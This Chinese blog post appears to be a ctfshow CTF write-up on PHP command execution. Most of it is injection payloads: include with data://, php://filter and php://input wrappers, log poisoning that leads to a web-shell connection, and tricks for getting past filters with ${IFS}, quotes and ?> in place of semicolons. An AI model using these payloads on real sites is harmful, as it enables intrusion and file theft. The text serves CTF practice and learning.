当前位置: 首页 > news >正文

php命令执行的一些执行函数----以ctfshow靶场为解题思路

1715783522690-76e743c2-b03f-418e-b441-488d4089c009.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1968%2Climit_0


解法10、利用文件包含
①?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
②?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
③首先我们可以用BP进行抓包,把?file=php://input输入到链接后刷新抓包,然后再BP中修改发包方式为POST,然后在下面输入<?php system('tac flag.php');?>,就可以获取到flag了
?c=include$_GET[1]?>&1=php://input
④?c=include$_GET[1]?>&1=/var/log/nginx/access.log,进入日志文件,添加UA头,然后用蚁剑连接
二、过滤字符
空格可以利用%20,%09,
“;”可以利用?>来代替

1715863428297-c86c098f-b409-40cf-8f91-875321b6c703.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_1959%2Climit_0



使用" || " " & " " && " 分隔 /dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显 ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
过滤了分号和cat,可以用||和&来代替分号,tac代替cat
可构造playload: url/?c=tac flag.php|| url/?c=tac flag.php%26 注意,这里的&需要url编码
还有一种方法是nl flag.php+%26或%0a也就是换行符
空格可以用<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)代替,然后可以使用“\”这个符号来分隔字母类的

1

2

c''at${IFS}fla''g.p''hp

?c=ca\t${IFS}fla\g.ph\p

1716820239695-93d3c162-524d-4160-976f-229bff514c86.png?x-oss-process=image%2Fformat%2Cwebp


这种题目可以先扫目录,然后再寻找文件,然后把文件带出来

1

1

2

3

4

5

6

7

8

scandir查看目录 ->用前几题的方法获取flag

 

查看根目录内容

c=print_r(scandir("/"));

查看文件内容

POST传参:c=highlight_file("/flag.txt");

POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt

 

2

1

c=show_source('flag.php');


http://www.mrgr.cn/news/58083.html

相关文章:

  • 超级加速:轻松发现开源项目的终极秘籍
  • 文本相似度方案
  • 【OS】2.1.2 进程的状态与转换_进程的组织
  • 关闭或开启Win11系统的自动更新
  • 软件部署-Docker容器化技术(二)
  • Electron调用nodejs的cpp .node扩展【安全】
  • 【软件工程】软件项目管理/工程项目管理复习资料
  • 案例研究|DataEase嵌入式版助力软件开发商提升行业软件交付效率
  • SAM:Segment Anything
  • LSTM(Long Short-Term Memory,长短期记忆网络)在高端局效果如何
  • 新增Python运行环境、支持病毒扫描和计划任务短信告警,1Panel开源面板v1.10.20 LTS版本发布
  • 《计算机视觉》—— 换脸
  • 等差数列、等间距数据、等间隔数字、时间序列生成 by range(), arange(), linspace(), logspace()
  • Java-内部类
  • C++(面向对象、封装性、构造函数)
  • 李沐 权重衰退代码实现【动手学深度学习v2】
  • 代码随想录:206. 反转链表
  • 走进Java中的class文件
  • xtu oj String I
  • 数据库表开发 vs 面向接口开发